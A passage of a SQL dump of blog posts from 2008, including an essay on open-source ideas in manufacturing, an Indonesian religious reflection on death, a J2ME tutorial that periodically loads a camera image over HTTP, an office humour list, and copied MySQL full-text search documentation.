nothing new it\'s actually been around forever and until legal schemes known as patents and copyright came along ideas traveled freely.\r\n\r\nImagine the caveman who missed out on the patent for the wheel. He would be rolling cash from that monopoly had the USPTO given him patent protection (Sorry, I couldn\'t resist the pun).\r\n\r\nThe catalyst for distributing open ideas and driving massive collaboration has only materialized in the last 20 years or so. People from all over the world now have a cheap collaboration platform, the Internet. Email and software that enables the read-write web (like wikis --see my article on DekiWiki) allows large number of people to share ideas effectively. Before Internet became pervasive it was difficult to effectively to generate critical mass around open ideas. Now finding like-minded people is a Google search away.\r\n\r\nAutomotive Industry - Focus on Adding Value\r\n\r\nI grew up in an auto repair shop owned by my father. At the tender age of eight I learned how to pack wheel bearings (a kids dream--permission to get elbow deep in a squishy vat of grease). Even as a small child it was apparent back there was a problem.\r\n\r\nMy dad spent as much time running for parts from various part shops as he did fixing cars. Chevrolet, Ford, Chrysler all had V-8 engines, brakes, and shocks though there was very little standardization. Then Honda became popular and my dad cursed the need for another set of tools in metric sizes.\r\n\r\nThe breadth of competing car models with such a common set of features is mind-boggling. They all offer automatic transmissions, four doors, six cylinder engines, and other equipment that is standard across the industry. It doesn\'t make a lot of sense competing on the delivery of such similar products. The problem I have with my choices is not the core features it\'s the lack of amenities. It\'s cumbersome to add an integrated GPS or MP3 player while the consumer portable models are reaching prices that are at an all time low.\r\n\r\nI would like to see the Big Three car manufacturers started collaborating on their cars the way Novell and Red Hat collaborate on the Linux kernel. They could focus on becoming more efficient at delivering and servicing their vehicles and pool design resources to improve fuel efficiency rather than duplicate efforts on parts that have little differentiation. After all their is very little room left for innovation in the nuts and bolts of cars. However, there are miles to go in efficiency, combustion, and emissions.\r\n\r\nAs a first step card manufacturers could start supporting open standards, with fewer variations of fuel and oil filters. The interface for the radio could be standardized so you could easily pop in the stereo/GPS unit of your choice without a massive rewiring effort. Transmissions could be standardized among classes of cars.\r\n\r\nThe Toyota Scion is already a testament to the appetite for the consumer to customize their car. Toyota has a wide variety of cosmetic enhancements and encourages customizations that allow owners to express their personal style through funky paint jobs, video systems, and ground effects.\r\n\r\nThis month\'s Fast Company article the Amazing Race speaks to the idea of crowd-sourcing cars. There\'s also a broad second hand market for customization. In more practical ways there\'s A123 Systems, Hybrids Plus, EDrive Systems, and Luscious Garage that focus on making production models more efficient and eco-friendly.\r\n\r\nEven more progressive idea is the OScar which aims to build a car design collaboratively on the web. The project intent is to be the precursor to many more collaborative design projects int he automotive industry.\r\n\r\nMaybe the automotive industry should start to borrow from the much younger but intellectually mature software industry. Perhaps they should focus their efforts on the adding value not on maintaining parity among products under different brands that haven\'t really changed in twenty years.\r\n\r\nOpen \"Source\" Drones Could Save Lives\r\nA couple of weeks ago I attended the Open Source Business Conference. During my trip the morning complimentary copy of USA Today had a front-page story about the inadequate supply of drones to supply reconnaissance to military about the enemy. The drones are a critical way to gather intelligence and prevent the loss of life.\r\n\r\nI was instantly reminded of a talk I had attended given by Chris Anderson in February. He spoke about his hobby, the DIY Drones project. The goal of DIY Drones is to develop an unmanned aerial vehicle that can be assembled for under $1000.\r\n\r\nIt seems to me that it would be hard for the U.S military to cut through the red tape and bidding process to on their own get the cost of such thing that low. Perhaps we should start sending the components(a key component is LEGO Mindstorms building blocks) to our friends and family in the military and see what happens.\r\n\r\nOpen Prosthetics\r\nAnother application of open ideas is the Open Prosthetics Project that encourages sharing and collaboration on designs for artificial limbs. The design for the open prosthetic is a function of collaboration among many designers. The Open Prosthetics project is currently searching for help and actively recruiting collaborators in a democratic way:\r\n\r\nLead users are consumers (individuals or companies) who spur innovation in an industry by contributing innovations often of a greater value and at a faster pace than the companies that produce the products they use. Their innovations are often freely shared and eventually incorporated into products. Far from being an idealist fantasy, lead user innovations can be incorporated into the R&D strategy of a nimble company, enabling quick identification and anticipation of consumer needs. What we\'re trying to accomplish through the Open Prosthetics community is to facilitate this phenomenon, well-described in MIT Professor Eric Von Hippel\'s book, \"Democratizing Innovation\" .\r\n\r\n\r\nCoincidentally, just like the UAV drones mentioned earlier the prosthetics project is also making use of LEGOs to develop prototypes.\r\n\r\nSummary\r\nThe great products of the future are going to be built on platforms for innovation. Products with broad appeal developed by one company behind closed doors are going to be the exception not the norm. Open products will thrive on open ideas developed transparently and without pride in individual ownership.\r\n\r\nOpen source software is often described as viral (because of its licensing terms) but I prefer to think of open source as additive. Collective intelligence aggregated around projects that provide easy integration and pluggability will more broadly drive innovation well beyond that of collaboratively developed software.\r\n\r\nFor more Mark Hinkle, visit his Socialized Software http://socializedsoftware.com/ blog. ',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (90,'2008-04-14 22:01:52','DETIK-DETIK AKHIR KEHIDUPAN',' Artikel Islami\r\n14 April 2008 - 15:13\r\nDETIK-DETIK AKHIR KEHIDUPAN \r\nOleh : sis zainudin/1. Masyahidul Ihtidar oleh Syaikh Abdurrahman as-Syayiâ™ dan Sultan Fahd ar-Rasyid\r\n \r\n\r\nKatakanlah: \"Malaikat maut yang diserahi untuk (mencabut nyawa)mu akan mematikan kamu; kemudian hanya kepada Rabbmulah kamu akan dikembalikan. (As-Sajdah:11)\r\n\r\nHari demi hari, bulan demi bulan, bulanpun berganti tahun. Berpuluh tahun yang lalu, waktu itu kita masih dalam rahim ibunda, kemudian terlahir menjadi bayi mungil yang menggemaskan, lalu tumbuh menjadi balita yang lucu, dilanjutkan dengan menjadi anak-anak, kemudian remaja dan jadilah seperti sekarang yaitu menjadi dewasa, menjadi orang tua anak-anaknya ataupun sudah mempunyai cucu. Karena sunnatullah, sebuah ketetapan dari Allah Subhanahu wa ta\'ala seiring dengan berjalannya waktu kita manusia pasti akan berubah menjadi tua dan kemudian mati.\r\n\r\nBegitu kira-kira gambaran sederhana tentang siklus hidup manusia di dunia. Dalam perjalanannya, kadang-kadang ada orang yang melewati hidupnya sampai ia berumur seratus tahunan lebih, 80an, 60an, atau rata-rata manusia dapat bertahan hidup. Ada pula yang hanya menikmati kehidupan hanya separuh abad. Namun tak jarang pula, yang masih muda, badan terlihat sehat dan sempurna, tidak sedikit yang sudah meregang nyawa, tentu dengan cara dan jalan yang berbeda-beda. Dan banyak pula cerita tentang bayi yang masih dalam kandungan yang belum sempat merasakan hidup di dunia, dan belum sempat merasakan hangat pelukan Ibunya, dibunuh (aborsi) oleh ibunya sendiri lantaran kehadirannya tidak dikehendaki, karena kehamilannya buah dari hubungan yang terlarang yang bisa membawa aib bagi diri dan keluarganya, na\'udzubillah min dzalik.\r\n\r\nKarena ajal memang tak pernah memilih kita sudah tua atau muda, masih panjangkah jatah waktu kita hidup ataukah sudah habis masa untuk berpijak di bumi ini. Dan kebanyakan dari manusia melupakan akan datangnya kematian, mereka lupa kalau ajal selalu mengintai di manapun mereka berada. Mereka terlupakan oleh ramainya dunia, terlena dengan manisnya syahwat, silau dengan gemerlapnya harta. Terlalu sibuk dengan keinginan-keinginan yang belum kita capai. Adalah baik ketika keinginan atau cita-cita kita adalah hal yang berorientasikan akherat, tapi kebanyakan dari kita dilenakan oleh keinginan-keinginan yang bersifat kesenangan semu belaka.\r\n\r\nSampai-sampai kita lupa bahwa kematian sudah sampai di pelupuk mata. Semua terperdaya oleh hingar-bingarnya dunia ini. Kebanyakan waktu hidupnya digunakan untuk sibuk kesana-kemari menggali, mengelola dan menumpuk harta. Dan saat-saat ketika sakaratul maut itu datang menghampiri barulah ia sadar betapa kehidupan di dunia amatlah singkat, dan merataplah ia dengan penyesalan yang sangat ketika menyadari bahwa umurnya telah habis untuk urusan-urusan pangkat, syahwat dan harta. Tinggallah kini menunggu kedatangan malaikat maut dan merasakan betapa tersiksa dan sakitnya saat sakaratul maut. Sakit yang tak dapat dikira karena amat terasa sakitnya. \r\n\r\nSebagian ulama menegaskan bahwa rasa sakit pada sakaratul maut hanya diketahui hakikatnya oleh orang yang sudah merasakannya. Orang yang belum merasakannya tentu hanya bisa mengetahuinya sekedar berdasarkan analogi dengan berbagai rasa sakit yang pernah dirasakan. \r\n\r\nRasa sakit pada sakaratul maut langsung menghunjam ruh itu sendiri sehingga menerobos seluruh organ-organ tubuhnya, seluruh jaringan sarafnya, seluruh urat-urat. di tubuhnya, bahkan juga seluruh persendian tubuhnya, hingga merambati akar rambut dan kulit dari atas kepala hingga ujung kaki\r\n\r\nJangan tanyakan rasa sakitnya. Sehingga sebagian orang mengatakan bahwa Kematian itu lebih menyakitkan daripada sabetan pedang, daripada gigitan gergaji dan sayatan gunting, karena rasa sakit akibat sabetan pedang, gigitan gergaji, dan sejenisnya hanya dirasakan karena adanya ruh atau nyawa. Bagaimana pula apabila yang dicabut adalah ruh sendiri ? Orang yang ditebas pedang masih dapat berteriak minta tolong karena masih tersisa kekuatan dalam hati dan pada lisannya. Akan tetapi orang yang menghadapi sakaratul maut sudah kehilangan suara dan teriakannya, kekuatannya sudah melemah, dan energi tubuhnya sudah musnah. Hal ini karena musibah sakaratul maut terkadang terlalu berat sehingga menguasai hati dengan rasa sakit yang dahsyat sehingga melumpuhkan seluruh anggota tubuh, mengguncang seluruh organ tubuh, dan melemahkan seluruh jengkal bagian tubuh, sehingga tidak tersisa lagi kekuatan untuk meminta pertolongan.\r\n\r\nBahkan, akal sekalipun telah tertutupi dan terganggu pula karena rasa sakit sakaratul maut; sementara lidah tiba-tiba menjadi bisu. Seluruh anggota tubuh menjadi lemah. Orang yang berada sakaratul maut berharap untuk dapat beristirahat sejenak melalui erangan dan teriakan atau melalui cara lain. Akan tetapi ia tidak mampu melakukannya. Kalaupun masih tersisa kekuatan, pasti saat ruh dicabut dan diangkat dari dalam tubuh akan terdengar gerengan dan suara kerongkongan dan dadanya. Namun, saat itu warna tubuhnya sudah berubah dan rasa sakit sudah menyerang seluruh tubuhnya, bagian luar maupun bagian dalamnya. Hingga akhirnya bagian hitam matanya naik sampai menyentuh kelopak mata, sementara lidah tertarik ke dalam hingga pangkalnya dan jari jemari juga menjadi kaku.\r\n\r\nMaka, jangan ditanya lagi kondisi orang tersebut tatkala urat-uratnya seperti tercabut satu persatu. Masing-masing anggota tubuh kemudian mulai menjadi mati secara bertahap. Mulanya kedua kaki menjadi dingin, lalu kedua betisnya, kemudian kedua pahanya. Masing-masing anggota tubuh mengalami sakaratul maut dan mengalami musibah rasa sakit pada saat itu, hingga nyawa sampai di kerongkongan. Pada saat itulah pandangannya terhadap dunia dan penghuninya mulai sirna, dan pintu tobat pun sudah tertutup baginya. Dan tinggallah penyesalan dan kekecewaan yang mendalam menggelayuti dirinya.\r\n\r\nSaudaraku tercinta, tidakkah engkau mengetahui bahwa kunjungan malaikat maut itu adalah sesuatu yang pasti ? telah ditakdirkan semenjak masa azali, panjang ataupun pendek umur kita ? Tidakkah kita menyadari bahwa kita semua hanya musafir yang akhirnya akan sampai tujuan dan meninggalkan perjalanannya ? Tidakkah kita menyadari bahwa perputaran hidup ini pasti berhenti, dan perputaran usia semakin mendekati penghujungnya ?.\r\n\r\nTidakkah kita menyadari bahwa setelah kunjungannya kita tidak akan mampu lagi melakukan satu kebajikan sekalipun ? kita tidak akan mampu shalat dua rokaat sekalipun ? Kita tidak akan mampu membaca al-Qur\'an satu ayatpun ? Kita tidak akan mampu bertasbih, bertahmid, bertahlil, atau beristighfar satu kalipun. Kita tidak akan mampu berpuasa seharipun, atau bersedekah meski sepeserpun. Kita tidak akan mampu melakukan haji ataupun umroh lagi. Waktu beramal telah berlalu, yang tertinggal adalah hisab dan pembalasan terhadap kebajikan atau dosa-dosa.\r\n\r\nRasulullah solallahu ‘alaihi wassalam bersabda :\r\n\"Perbanyaklah olehmu mengingat penghancur kenikmatan yaitu : mengingat kematian\". HR. Tirmidzi dan Nasa\'i dan Ibnu Hibban menshohihkannya.\r\n\r\nSaudaraku...Manakah persiapan kita untuk berjumpa dengan malaikat maut ? Manakah persiapan kita untuk menghadapi hal-hal dahsyat sesudah kematian ? Dalam kubur, saat ditanya oleh dua malaikat, saat di Padang Mahsyar, saat hisab, saat dibukanya lembaran catatan amal perbuatan, saat meniti jembatan Ash-Shiroth, dan saat berdiri di hadapan Allah \'Aza wa Jalla.\r\n\r\nDi waktu yang baik, sehabis shalat, sebelum tidur, saat mentadaburi ayat-ayat-Nya ataupun di penghujung malam ketika kita bersimpuh pasrah di hadapan-Nya, pernahkah terbayang seandainya saja kita mati dalam keadaan yang buruk, mati dalam kubangan lumpur kemaksiatan, mati dalam keadaan su\'ul khatimah, sedangkan kita belum sempat untuk bertobat ? dan siapkah kita menanggung azab kubur yang mengerikan ? na\'udzubillah min dzalik wallahu a\'lam bisshowab.¨Ibnu Zainudin ',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (91,'2008-05-01 10:40:34','Simultan Load Image in JAVA','Simultan Load Image\r\n\r\nIni adalah ide untuk Monitoring menggunakan Camera yang nantinya \r\ndiakses menggunakan mobile. \r\n\r\nHehe sebenarnya simple aja sih, tapi jadi suatu yang menarik. Se-\r\nbenarnya yang diinginkan itu adalah si Handphone bisa mengakases\r\nsecara realtime video dari server video. Kita bisa menggunakan Java TV API. Misal kita ingin mengakses realtime video dari TV Kabel misal. Tapi kebutuhan hardware juga harus diperhatikan karena minimal requirements dalah 32 MB RAM memory dan 32 MB\r\nflash memory dan CDC/PBP/ Java TV.\r\n\r\nMengaccess video \r\ndengan menggunakan koneksi yang lambat wew bisa menghabiskan pulsa.\r\nKlo kebutuhan kita cuma memonitor gak harus video, image yang se-\r\ncara simultansih masih ok kok. Makanya kita bikin Image Server yang\r\nupdate tiap 5 detik hehe.\r\n\r\nJ2ME mempunyai fitur yang kaya dengna adanya JMF(Java Media Frame-\r\nwork) bagi programer JAVA harusnyobak deh rugi klo gak nyobak ;P.\r\nJadi arisitektur pembuatannya adalah sebagi berikut:\r\n\r\n[CAMERA/FTP]---[FTP SERVER]---[WEB SERVER]---[MOBILE]\r\n\r\nCamera memiliki fiture untuk mengirim image recorder ke ftp. Tapi\r\ndengan kamera Rp 600.000,- yang udah suport ftp/wifi. Wah sebenar-\r\nnya klo mau bahas bagaimana cara mengirim file image ke FTP Server\r\nbisa dengan banyak cara. Kita bisa bikin crawel dari server sendiri.\r\nMungkin itu bisa dikembangkan lebih lanjut. Saya cuma mau bahas co-\r\ndingnya aja sih. Hehe dari pada ilmunya kelupaan, atau hardisk rusak\r\nyah ide akan hilang sia-sia dan gak bermanfaat.\r\n\r\nJika image sudah beres mengirim secara otomatis ke ftp server dan bi-\r\ndiakses menggunakan web server misal di \"http://mamat.amikom.ac.id/\r\nimageserver/img.jpg\". Kita tinggal coding aja. Berikut adalah cupli-\r\nkan terpenting dari code program di J2ME. Code ini dimasukkan ketika\r\nevent command.\r\n\r\n[code]\r\nnew Thread(new Runnable() {\r\n public void run() {\r\n try{\r\n Timer refresh = new Timer();\r\n TimerTask tt = new TimerTask() {\r\n public void run() {\r\n form1.deleteAll();\r\n ImageLoad il = new ImageLoad(\"http://mamat.amikom.\r\n ac.id/imageserver/img.jpg\");\r\n form1.setTitle(\"Lokasi:\"+list1.getString(list1.get\r\n SelectedIndex()));\r\n form1.append(il.getImage());\r\n Date d = new Date();\r\n \r\n form1.append(d.toString());\r\n }\r\n }; \r\n refresh.schedule(tt,0,15000);\r\n }catch(Exception e){\r\n System.out.print(e);\r\n }\r\n }\r\n}).start();\r\n[/code]\r\n\r\nBerikut ini adalah code untuk load image menggunakan HttpConnection.\r\n[code]\r\n/*\r\n * ImageLoad.java\r\n * Created on May 1, 2008, 10:36 PM\r\n */\r\n\r\npackage main;\r\n\r\nimport java.io.DataInputStream;\r\nimport java.io.IOException;\r\nimport javax.microedition.io.Connector;\r\nimport javax.microedition.io.HttpConnection;\r\nimport javax.microedition.lcdui.Image;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\npublic class ImageLoad {\r\n Image img;\r\n \r\n /** Creates a new instance of ImageLoad */\r\n public ImageLoad(String url) {\r\n this.img = loadImage(url);\r\n \r\n }\r\n \r\n public Image getImage(){\r\n return this.img;\r\n }\r\n \r\n public Image loadImage(String url){\r\n HttpConnection hc = null;\r\n DataInputStream in = null;\r\n\r\n try {\r\n hc = (HttpConnection)Connector.open(url);\r\n int length = (int)hc.getLength();\r\n byte[] data = null;\r\n if (length != -1) {\r\n data = new byte[length];\r\n in = new DataInputStream(hc.openInputStream());\r\n in.readFully(data);\r\n }else {\r\n // If content length is not given, read in chunks.\r\n int chunkSize = 512;\r\n int index = 0;\r\n int readLength = 0;\r\n in = new DataInputStream(hc.openInputStream());\r\n data = new byte[chunkSize];\r\n do {\r\n if (data.length < index + chunkSize) {\r\n byte[] newData = new byte[index + chunkSize];\r\n System.arraycopy(data, 0, newData, 0, data.length);\r\n data = newData;\r\n }\r\n readLength = in.read(data, index, chunkSize);\r\n index += readLength;\r\n } while (readLength == chunkSize);\r\n length = index;\r\n }\r\n Image image = Image.createImage(data, 0, length);\r\n return image;\r\n } catch (IOException ioe) {\r\n return null;\r\n } finally {\r\n try {\r\n if (in != null) in.close();\r\n if (hc != null) hc.close();\r\n } catch (IOException ioe) {}\r\n }\r\n }\r\n}\r\n[/code]\r\n\r\nPernah mencoba lebih baik, daripada tidak sama sekali.',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (92,'2008-05-05 16:36:44','Intermezzo ... selingan ... berpikir positif terbalik','Intermezzo ... selingan ... berpikir positif terbalik\r\n\r\nSeandainya KITA yang jadi BOSS\r\ndan Orang Lain jadi Staff\r\n(cuplikan karya Yosep Iswadi)\r\n\r\nBila boss tetap pada pendapatnya, itu berarti beliau konsisten\r\nBila staff tetap pada pendapatnya, itu berarti dia keras kepala !\r\n\r\nBila boss berubah-ubah pendapat, itu berarti beliau fleksibel.\r\nBila staff berubah-ubah pendapat, itu berarti dia plin-plan !\r\n\r\nBila boss bekerja lambat, itu berarti beliau teliti.\r\nBila staff bekerja lambat, itu berarti dia tidak perform !\r\n\r\nBila boss bekerja cepat, itu berarti beliau smart.\r\nBila staff bekerja cepat, itu berarti dia terburu-buru !\r\n\r\nBila boss lambat memutuskan, itu berarti beliau hati-hati.\r\nBila staff lambat memutuskan, itu berarti dia telmi !\r\n\r\nBila boss mengambil keputusan cepat,\r\nitu berarti beliau berani mengambil keputusan.\r\nBila staff mengambil keputusan cepat, itu berarti dia gegabah !\r\n \r\nBila boss terlalu berani mengambil resiko, itu berarti beliau risk taking.\r\nBila staff terlalu berani mengambil resiko, itu berarti dia sembrono !\r\n\r\nBila boss tidak berani mengambil resiko, itu berarti beliau prudent.\r\nBila staff tidak berani mengambil resiko, itu berarti dia tidak berjiwa bisnis !\r\n\r\nBila boss mem-by pass prosedur, itu berarti beliau proaktif-innovatif.\r\nBila staff mem-by pass prosedur, itu berarti dia melanggar aturan !\r\n\r\nBila boss curiga terhadap mitra bisnis, itu berarti beliau waspada.\r\nBila staff curiga terhadap mitra bisnis, itu berarti dia negative thinking !\r\n\r\nBila boss menyatakan sulit, itu berarti beliau prediktif-antisipatif.\r\nBila staff menyatakan sulit, itu berarti dia pesimistik !\r\n\r\nBila boss menyatakan mudah, itu berarti beliau optimis.\r\nBila staff menyatakan mudah, itu berarti dia meremehkan masalah !\r\n\r\nBila boss sering keluar kantor, itu berarti beliau rajin ke customer.\r\nBila staff sering keluar kantor, itu berarti dia sering kelayapan !\r\n\r\nBila boss sering entertainment, itu berarti beliau rajin me-lobby customer.\r\nBila staff sering entertainment, itu berarti dia menghamburkan anggaran !\r\n\r\nBila boss sering tidak masuk, itu berarti beliau kecapaian karena kerja keras.\r\nBila staff sering tidak masuk, itu berarti dia pemalas !\r\n\r\nBila boss minta fasilitas mewah, itu berarti beliau menjaga citra perusahaan.\r\nBila staff minta fasilitas mewah, itu berarti dia banyak menuntut !\r\n\r\n........dan masih banyak lagi.\r\n\r\nBila boss membuat tulisan seperti ini, itu berarti beliau humoris.\r\nBila staf membuat tulisan seperti ini, itu berarti dia :\r\n\r\nfrustasi\r\niri terhadap karir orang lain\r\nnegative thinking\r\nbarisan sakit hati\r\nprovokasi\r\ntidak tahan banting\r\nberpolitik di kantor\r\ntidak produktif\r\ntidak sesuai dengan budaya perusahaan\r\n..........dan masih banyak lagi\r\n\r\n....... Ha ha ha ha ..........',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (93,'2008-05-06 09:58:16','Life is like a computer game, it keeps getting harder and then you die :)','\"It is true!! Life is like a computer game, it keeps getting harder \r\nand then you die :)\"\r\n\r\nHehe tak pikir apa untungnya jadi gamer, mending jadi programer\r\ntiap detik, tiap menit, tiap jam, tiap hari, tipa bulan,...halah\r\nkelamaan. Intinya tiap waktu klo mau, programer bisa menghasilkan \r\nduit. Tapi apa hubungannya programer ma gamer, gamers itu lebih \r\nhumanis dibanding programer yang cenderung cuek, urip dewe, keras \r\nkepala, klo stress uring-uringan sendiri. Mudah-mudahan nanti ada \r\nyang mau jadi istrinya programer, Amin. hehe :P\r\n\r\nPada dasarnya jiwa seorang programer dan gamer itu sama, suka bekerja\r\nkeras, anti menyerah atau ulet, tekun, disiplin, kuat begadang, \r\nkewajiban diutamankan daripada hak dan yang penting dan perlu catatan\r\nprogramer dan gamer banyak yang beriman dan istiqomah di Jalan Allah.\r\nWah mosok Maat..!, lho iya buktinya banyak lho yang ketika Adzan lansung\r\npada di PAUSE, dan kembali kejalan yang benar. Meski sedetik mau finish\r\ntapi demi Allah mereka tinggal kan itu semua. Meski ada rasa takut klo \r\nada ide-ide yang masih nyangkut pada ilang tapi, dia yakin klo dengan\r\nsholat memberikan ketenangan dan ide akan semakin banyak. Menurut pene\r\nlitian dan pengalaman ini betul. Cobak rasakan ketika sholat, pas gak \r\nfokus pasti banyak memori yang berhambuaran, tadi pagi mules kek, makanan\r\nkemarin lupa dibayar, dll. Itu membuktikan bahwa dalam keadaan tenang\r\notak ini malah berkembang meyimpan semua cache memori kita ke hardisk otak.\r\nHehe tapi jangan terus dibayangin dan tetep focus ama sholatnya ingat,\r\nklo sholat adalah doa, bukan cuma kewajiban.\r\n\r\nNah setelah cache memori tersipan kedalam hardisk pasti si Otak akan berja-\r\nlan lancar kembali dan ide-ide akan bermunculan kembali. Wah perasaan tadi\r\nngomongin programer ma gamer kok lari ke otak yak hehe:P.\r\n\r\nYah apa pun omongannya meski dia programers atau gamers, inti dari main set\r\nmereka adalah kerja keras dan berdoa. Kita istiqomah dan Allah yang menetukan\r\nklo pun kemenangan itu terbaik untuk kita pasti Allah kabulkan.\r\n\r\nBetuuull...Betulll...Matt',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (94,'2008-05-07 14:22:56','Searching, Indexing...! for Query in Mysql','Searching, Indexing...! for Query in Mysql\r\n\r\nHehe I am forget again..!. This article from mysql tutorial. It’s explain query for indexing the search result. If you are database programmer for mysql this article don’t be forgetting. Because is most important for you. :P \r\n\r\n12.7. Full-Text Search Functions\r\n------------------------------------------------------\r\nMATCH (col1,col2,...) AGAINST (expr [search_modifier])\r\n\r\nsearch_modifier: { IN BOOLEAN MODE | WITH QUERY EXPANSION }\r\n\r\nMySQL has support for full-text indexing and searching: \r\n\r\nA full-text index in MySQL is an index of type FULLTEXT. \r\n\r\nFull-text indexes can be used only with MyISAM tables, and can be created only for CHAR, VARCHAR, or TEXT columns. \r\n\r\nA FULLTEXT index definition can be given in the CREATE TABLE statement when a table is created, or added later using ALTER TABLE or CREATE INDEX. \r\n\r\nFor large datasets, it is much faster to load your data into a table that has no FULLTEXT index and then create the index after that, than to load data into a table that has an existing FULLTEXT index. \r\n\r\nFull-text searching is performed using MATCH() ... AGAINST syntax. MATCH() takes a comma-separated list that names the columns to be searched. AGAINST takes a string to search for, and an optional modifier that indicates what type of search to perform. The search string must be a literal string, not a variable or a column name. There are three types of full-text searches: \r\n\r\nA boolean search interprets the search string using the rules of a special query language. The string contains the words to search for. It can also contain operators that specify requirements such that a word must be present or absent in matching rows, or that it should be weighted higher or lower than usual. Common words such as “some” or “then” are stopwords and do not match if present in the search string. The IN BOOLEAN MODE modifier specifies a boolean search. For more information, see Section 12.7.1, “Boolean Full-Text Searches”. \r\n\r\nA natural language search interprets the search string as a phrase in natural human language (a phrase in free text). There are no special operators. The stopword list applies. In addition, words that are present in more than 50% of the rows are considered common and do not match. Full-text searches are natural language searches if no modifier is given. \r\n\r\nA query expansion search is a modification of a natural language search. The search string is used to perform a natural language search. Then words from the most relevant rows returned by the search are added to the search string and the search is done again. The query returns the rows from the second search. The WITH QUERY EXPANSION modifier specifies a query expansion search. For more information, see Section 12.7.2, “Full-Text Searches with Query Expansion”. \r\n\r\nConstraints on full-text searching are listed in Section 12.7.4, “Full-Text Restrictions”. \r\n[code]\r\nmysql> CREATE TABLE articles (\r\n -> id INT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY,\r\n -> title VARCHAR(200),\r\n -> body TEXT,\r\n -> FULLTEXT (title,body)\r\n -> );\r\nQuery OK, 0 rows affected (0.00 sec)\r\n\r\nmysql> INSERT INTO articles (title,body) VALUES\r\n -> (\'MySQL Tutorial\',\'DBMS stands for DataBase ...\'),\r\n -> (\'How To Use MySQL Well\',\'After you went through a ...\'),\r\n -> (\'Optimizing MySQL\',\'In this tutorial we will show ...\'),\r\n -> (\'1001 MySQL Tricks\',\'1. Never run mysqld as root. 2. ...\'),\r\n -> (\'MySQL vs. YourSQL\',\'In the following database comparison ...\'),\r\n -> (\'MySQL Security\',\'When configured properly, MySQL ...\');\r\nQuery OK, 6 rows affected (0.00 sec)\r\nRecords: 6 Duplicates: 0 Warnings: 0\r\n\r\nmysql> SELECT * FROM articles\r\n -> WHERE MATCH (title,body) AGAINST (\'database\');\r\n+----+-------------------+------------------------------------------+\r\n| id | title | body |\r\n+----+-------------------+------------------------------------------+\r\n| 5 | MySQL vs. YourSQL | In the following database comparison ... |\r\n| 1 | MySQL Tutorial | DBMS stands for DataBase ... |\r\n+----+-------------------+------------------------------------------+\r\n2 rows in set (0.00 sec)\r\n[/code]\r\nThe MATCH() function performs a natural language search for a string against a text collection. A collection is a set of one or more columns included in a FULLTEXT index. The search string is given as the argument to AGAINST(). For each row in the table, MATCH() returns a relevance value; that is, a similarity measure between the search string and the text in that row in the columns named in the MATCH() list. \r\n\r\nBy default, the search is performed in case-insensitive fashion. However, you can perform a case-sensitive full-text search by using a binary collation for the indexed columns. For example, a column that uses the latin1 character set of can be assigned a collation of latin1_bin to make it case sensitive for full-text searches. \r\n\r\nWhen MATCH() is used in a WHERE clause, as in the example shown earlier, the rows returned are automatically sorted with the highest relevance first. Relevance values are non-negative floating-point numbers. Zero relevance means no similarity. Relevance is computed based on the number of words in the row, the number of unique words in that row, the total number of words in the collection, and the number of documents (rows) that contain a particular word. \r\n\r\nFor natural-language full-text searches, it is a requirement that the columns named in the MATCH() function be the same columns included in some FULLTEXT index in your table. For the preceding query, note that the columns named in the MATCH() function (title and body) are the same as those named in the definition of the article table\'s FULLTEXT index. If you wanted to search the title or body separately, you would need to create separate FULLTEXT indexes for each column. \r\n\r\nIt is also possible to perform a boolean search or a search with query expansion. These search types are described in Section 12.7.1, “Boolean Full-Text Searches”, and Section 12.7.2, “Full-Text Searches with Query Expansion”. \r\n\r\nThe preceding example is a basic illustration that shows how to use the MATCH() function where rows are returned in order of decreasing relevance. The next example shows how to retrieve the relevance values explicitly. Returned rows are not ordered because the SELECT statement includes neither WHERE nor ORDER BY clauses: \r\n[code]\r\nmysql> SELECT id, MATCH (title,body) AGAINST (\'Tutorial\')\r\n -> FROM articles;\r\n+----+-----------------------------------------+\r\n| id | MATCH (title,body) AGAINST (\'Tutorial\') |\r\n+----+-----------------------------------------+\r\n| 1 | 0.65545833110809 |\r\n| 2 | 0 |\r\n| 3 | 0.66266459226608 |\r\n| 4 | 0 |\r\n| 5 | 0 |\r\n| 6 | 0 |\r\n+----+-----------------------------------------+\r\n6 rows in set (0.00 sec)\r\n[/code]\r\nThe following example is more complex. The query returns the relevance values and it also sorts the rows in order of decreasing relevance. To achieve this result, you should specify MATCH() twice: once in the SELECT list and once in the WHERE clause. This causes no additional overhead, because the MySQL optimizer notices that the two MATCH() calls are identical and invokes the full-text search code only once. \r\n[code]\r\nmysql> SELECT id, body, MATCH (title,body) AGAINST\r\n -> (\'Security implications of running MySQL as root\') AS score\r\n -> FROM articles WHERE MATCH (title,body) AGAINST\r\n -> (\'Security implications of running MySQL as root\');\r\n+----+-------------------------------------+-----------------+\r\n| id | body | score |\r\n+----+-------------------------------------+-----------------+\r\n| 4 | 1. Never run mysqld as root. 2. ... | 1.5219271183014 |\r\n| 6 | When configured properly, MySQL ... | 1.3114095926285 |\r\n+----+-------------------------------------+-----------------+\r\n2 rows in set (0.00 sec)\r\n[/code]\r\nThe MySQL FULLTEXT implementation regards any sequence of true word characters (letters, digits, and underscores) as a word. That sequence may also contain apostrophes (‘\'’), but not more than one in a row. This means that aaa\'bbb is regarded as one word, but aaa\'\'bbb is regarded as two words. Apostrophes at the beginning or the end of a word are stripped by the FULLTEXT parser; \'aaa\'bbb\' would be parsed as aaa\'bbb. \r\n\r\nThe FULLTEXT parser determines where words start and end by looking for certain delimiter characters; for example, ‘ ’ (space), ‘,’ (comma), and ‘.’ (period). If words are not separated by delimiters (as in, for example, Chinese), the FULLTEXT parser cannot determine where a word begins or ends. To be able to add words or other indexed terms in such languages to a FULLTEXT index, you must preprocess them so that they are separated by some arbitrary delimiter such as ‘\"’. 